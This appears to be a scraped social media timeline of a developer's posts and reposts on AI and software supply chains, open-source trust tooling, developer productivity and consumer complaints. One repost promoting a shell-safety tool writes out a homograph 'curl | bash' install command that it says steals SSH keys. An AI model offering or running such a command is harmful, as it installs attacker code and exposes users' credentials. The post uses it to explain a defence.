Roberto C. Morano

Shifting structures in a software world dominated by AI. Some first-order reflections (TL;DR at the end): Reducing software supply chains, the return of software monoliths – When rewriting code and understanding large foreign codebases becomes cheap, the incentive to rely on deep dependency trees collapses. Writing from scratch ¹ or extracting the relevant parts from another library is far easier when you can simply ask a code agent to handle it, rather than spending countless nights diving into an unfamiliar codebase. The reasons to reduce dependencies are compelling: a smaller attack surface for supply chain threats, smaller packaged software, improved performance, and faster boot times. By leveraging the tireless stamina of LLMs, the dream of coding an entire app from bare-metal considerations all the way up is becoming realistic. End of the Lindy effect – The Lindy effect holds that things which have been around for a long time are there for good reason and will likely continue to persist. It's related to Chesterton's fence: before removing something, you should first understand why it exists, which means removal always carries a cost. But in a world where software can be developed from first principles and understood by a tireless agent, this logic weakens. Older codebases can be explored at will; long-standing software can be replaced with far less friction. A codebase can be fully rewritten in a new language. ² Legacy software can be carefully studied and updated in situations where humans would have given up long ago. The catch: unknown unknowns remain unknown. The true extent of AI's impact will hinge on whether complete coverage of testing, edge cases, and formal verification is achievable. In an AI-dominated world, formal verification isn't optional—it's essential. The case for strongly typed languages – Historically, programming language adoption has been driven largely by human psychology and social dynamics. A language's success depended on a mix of factors: individual considerations like being easy to learn and simple to write correctly; community effects like how active and welcoming a community was, which in turn shaped how fast its ecosystem would grow; and fundamental properties like provable correctness, formal verification, and striking the right balance between dynamic and static checks—between the freedom to write anything and the discipline of guarding against edge cases and attacks. As the human factor diminishes, these dynamics will shift. Less dependence on human psychology will favor strongly typed, formally verifiable and/or high performance languages.³ These are often harder for humans to learn, but they're far better suited to LLMs, which thrive on formal verification and reinforcement learning environments. Expect this to reshape which languages dominate. Economic restructuring of open source – For decades, open-source communities have been built around humans finding connection through writing, learning, and using code together. In a world where most code is written—and perhaps more importantly, read—by machines, these incentives will start to break down.⁴ Communities of AIs building libraries and codebases together will likely emerge as a replacement, but such communities will lack the fundamentally human motivations that have driven open source until now. If the future of open-source development becomes largely devoid of humans, alignment of AI models won't just matter—it will be decisive. The future of new languages – Will AI agents face the same tradeoffs we do when developing or adopting new programming languages? Expressiveness vs. simplicity, safety vs. control, performance vs. abstraction, compile time vs. runtime, explicitness vs. conciseness. It's unclear that they will. In the long term, the reasons to create a new programming language will likely diverge significantly from the human-driven motivations of the past. There may well be an optimal programming language for LLMs—and there's no reason to assume it will resemble the ones humans have converged on. TL; DR: - Monoliths return – cheap rewriting kills dependency trees; smaller attack surface, better performance, bare-metal becomes realistic - Lindy effect weakens – legacy code loses its moat, but unknown unknowns persist; formal verification becomes essential - Strongly typed languages rise – human psychology mattered for adoption; now formal verification and RL environments favor types over ergonomics - Open source restructures – human connection drove the community; AI-written/read code breaks those incentives; alignment becomes decisive - New languages diverge – AI may not share our tradeoffs; optimal LLM programming languages may look nothing like what humans converged on ¹ x.com/mntruell/statu… ² x.com/anthropicai/st… ³ wesmckinney.com/blog/agent-erg… ⁴ #issuecomment-3717222957" target="_blank" rel="nofollow noopener">github.com/tailwindlabs/t…

@mitchellh cc @andamio_teams

AI eliminated the natural barrier to entry that let OSS projects trust by default. People told me to do something rather than just complain. So I did. Introducing Vouch: explicit trust management for open source. Trusted people vouch for others. github.com/mitchellh/vouch The idea is simple: Unvouched users can't contribute to your projects. Very bad users can be explicitly "denounced", effectively blocked. Users are vouched or denounced by contributors via GitHub issue or discussion comments or via the CLI. Integration into GitHub is as simple as adopting the published GitHub actions. Done. Additionally, the system itself is generic to forges and not tied to GitHub in any way. Who and how someone is vouched or denounced is up to the project. I'm not the value police for the world. Decide for yourself what works for your project and your community. All of the data is stored in a single flat text file in your own repository that can be easily parsed by standard POSIX tools or mainstream languages with zero dependencies. My hope is that eventually projects can form a web of trust so that projects with shared values can share their vouch lists with each other (automatically) so vouching or denouncing a person in one project has ripple effects through to other projects. The idea is based on the already successful system used by @badlogicgames in Pi. Thank you Mario. Ghostty will be integrating this imminently.

Be honest. When was the last time you actually read a command before pasting it into your terminal? Because these two lines look identical: curl -sSL https://install.example-cli | bash curl -sSL https://іnstall.example-clі | bash One installs your tool. The other steals your SSH keys. That і? Cyrillic. Not Latin. Your browser would block it. Your terminal doesn't even blink. Vibe coding made this 100x worse. Everyone's pasting commands from ChatGPT and random repos like it's nothing. We're all one bad curl | bash away from losing everything. So I built the fix: "tirith". Invisible shell hook. Catches homograph attacks, ANSI injection, hidden commands, dotfile overwrites before they execute. 30 rules. Local only. No telemetry. github.com/sheeki03/tirith

Sigo implementando nuevas funciones y mejoras en nosubscription.org. Y obviamente, cargando más apps y servicios SIN SUSCRIPCIÓN (toda las apps que han enviado por el formulario se irán cargando en orden). Muy contento con la respuesta de la comunidad. Es algo que hacía falta, la gente está cansada de gastar tanto en suscripciones absurdas. Si tienen comentarios o sugerencias, me lo hacen saber. 😎 #nosubscription

Every time we've made it easier to write software, we've ended up writing exponentially more of it. When high-level languages replaced assembly, programmers didn't write less code - they wrote orders of magnitude more, tackling problems that would have been economically impossible before. When frameworks abstracted away the plumbing, we didn't reduce our output - we built more ambitious applications. When cloud platforms eliminated infrastructure management, we didn't scale back - we spun up services for use cases that never would have justified a server room. @levie recently articulated why this pattern is about to repeat itself at a scale we haven't seen before, using Jevons Paradox as the frame. The argument resonates because it's playing out in real-time in our developer tools. The initial question everyone asks is "will this replace developers?" but just watch what actually happens. Teams that adopt these tools don't always shrink their engineering headcount - they expand their product surface area. The three-person startup that could only maintain one product now maintains four. The enterprise team that could only experiment with two approaches now tries seven. The constraint being removed isn't competence but it's the activation energy required to start something new. Think about that internal tool you've been putting off because "it would take someone two weeks and we can't spare anyone"? Now it takes three hours. That refactoring you've been deferring because the risk/reward math didn't work? The math just changed. This matters because software engineers are uniquely positioned to understand what's coming. We've seen this movie before, just in smaller domains. Every abstraction layer - from assembly to C to Python to frameworks to low-code - followed the same pattern. Each one was supposed to mean we'd need fewer developers. Each one instead enabled us to build more software. Here's the part that deserves more attention imo: the barrier being lowered isn't just about writing code faster. It's about the types of problems that become economically viable to solve with software. Think about all the internal tools that don't exist at your company. Not because no one thought of them, but because the ROI calculation never cleared the bar. The custom dashboard that would make one team 10% more efficient but would take a week to build. The data pipeline that would unlock insights but requires specialized knowledge. The integration that would smooth a workflow but touches three different systems. These aren't failing the cost-benefit analysis because the benefit is low - they're failing because the cost is high. Lower that cost by "10x", and suddenly you have an explosion of viable projects. This is exactly what's happening with AI-assisted development, and it's going to be more dramatic than previous transitions because we're making previously "impossible" work possible. The second-order effects get really interesting when you consider that every new tool creates demand for more tools. When we made it easier to build web applications, we didn't just get more web applications - we got an entire ecosystem of monitoring tools, deployment platforms, debugging tools, and testing frameworks. Each of these spawned their own ecosystems. The compounding effect is nonlinear. Now apply this logic to every domain where we're lowering the barrier to entry. Every new capability unlocked creates demand for supporting capabilities. Every workflow that becomes tractable creates demand for adjacent workflows. The surface area of what's economically viable expands in all directions. For engineers specifically, this changes the calculus of what we choose to work on. Right now, we're trained to be incredibly selective about what we build because our time is the scarce resource. But when the cost of building drops dramatically, the limiting factor becomes imagination, "taste" and judgment, not implementation capacity. The skill shifts from "what can I build given my constraints?" to "what should we build given that constraints have in some ways been evaporated?" The meta-point here is that we keep making the same prediction error. Every time we make something more efficient, we predict it will mean less of that thing. But efficiency improvements don't reduce demand - they reveal latent demand that was previously uneconomic to address. Coal. Computing. Cloud infrastructure. And now, knowledge work. The pattern is so consistent that the burden of proof should shift. Instead of asking "will AI agents reduce the need for human knowledge workers?" we should be asking "what orders of magnitude increase in knowledge work output are we about to see?" For software engineers it's the same transition we've navigated successfully several times already. The developers who thrived weren't the ones who resisted higher-level abstractions; they were the ones who used those abstractions to build more ambitious systems. The same logic applies now, just at a larger scale. The real question is whether we're prepared for a world where the bottleneck shifts from "can we build this?" to "should we build this?" That's a fundamentally different problem space, and it requires fundamentally different skills. We're about to find out what happens when the cost of knowledge work drops by an order of magnitude. History suggests we (perhaps) won't do less work - we'll discover we've been massively under-investing in knowledge work because it was too expensive to do all the things that were actually worth doing. The paradox isn't that efficiency creates abundance. The paradox is that we keep being surprised by it.

JA4 Fingerprinting Against AI Scrapers: A Practical Guide - WebDecoy webdecoy.com/blog/ja4-finge…

“The Conscience of a Hacker” by The Mentor is 40 years old today.

Converts files across 1000 formats github.com/C4illin/Conver…

@dvassallo i didn't know about it (I don't watch soccer) and literally couldn't believe it when I found out after a good while trying to debug why an API didn't work for me :/ x.com/rc_morano/stat…

Remember the Cloudflare outage? Looks like Spain does that on purpose every weekend! 🤯

Bash is beautiful when you embrace its constraints. Here's a lovely little pattern for parsing cli flags.

There’s a huge dissonance between how the world sees blockchain and what builders are actually trying to do. - World sees: gambling, scams, speculation - Builders want: self-sovereign identity, data, and money. That’s why Christmas dinners are so frustrating.

@JaimeObregon Sep. wiki.p2pfoundation.net/Open_Source_Ev…

En el mundo del software libre tenemos un diálogo constante entre autores y usuarios. Ambas partes hacemos sugerencias y aportaciones que sirven para la mejora continua del sistema. Es una cultura muy potente, y los servicios públicos se podrían beneficiar mucho de emularla. 1️⃣Porque integraría a la ciudadanía en el proceso de mejora de los servicios, mejorando la calidad final y aportando feedback útil. 2️⃣ Pero también —y en esto nos jugamos el país— porque haría sentir al usuario que lo público también es suyo. Que puede aportar y ser escuchado. Mucha de mi frustración con los servicios públicos digitales es por la falta de este diálogo, de esta cultura.

@bencodezen @Jilles you can use this in case you want to keep them tidy :) github.com/rcmorano/baids

@Jilles Agreed! That was just my quick hack before I discovered the power of bash functions. 😆

I got tired of looking up the syntax for checking what processes are running on the 3000 port, so I created an alias for it:

@dhh cc @juanjeojeda

The Big Omarchy 2.0 Tour: If you're ready to try something totally different after using a Mac or Windows, this is your invitation to an adventure! omarchy.org

People sometimes worry that companies are secretly listening to us through our phones because they see surprising, unexpected ads. Learn what’s really going on: digitalrightsbytes.org/topics/is-my-p…

@CECOTECoficial hey @CECOTECoficial 2 días y absolutamente ninguna respuesta respecto este tema. ¿Habéis quizá decidido que remitirme al distribuidor para gestionar una garantía por que -incluso después de haberme ofrecido un reemplazo- no tenéis stock y no queréis repararlo es lo suyo?

@CECOTECoficial Vaya, antes alabo su soporte, antes recibo una respuesta que deja un poco que desear :( Les adjunto captura tanto de la respuesta de su servicio técnico respecto a la gestión de una garantía, tanto de mi respuesta a esta. ¿Creen que podríamos llegar a alguna solución?

Animo a todos a vender de forma independiente con publicidad engañosa a través de @miravia, ya que no protegen a los compradores en este caso. En caso de recibir un artículo inadecuado, es el comprador el que ha de correr con los gastos de devolución. Maravilloso.

Welcome to ContinousAI! github.com/githubnext/gh-…

"Tuning Linux Swap for Kubernetes: A Deep Dive" kubernetes.io/blog/2025/08/1…

AI demonstrates the sunk-cost fallacy perfectly: Just one more "this doesn't work!" prompt, you think, and it'll fix it!! But often it won't, and now you've wasted 30 minutes begging that you could have spent learning how to actually fucking do it yourself.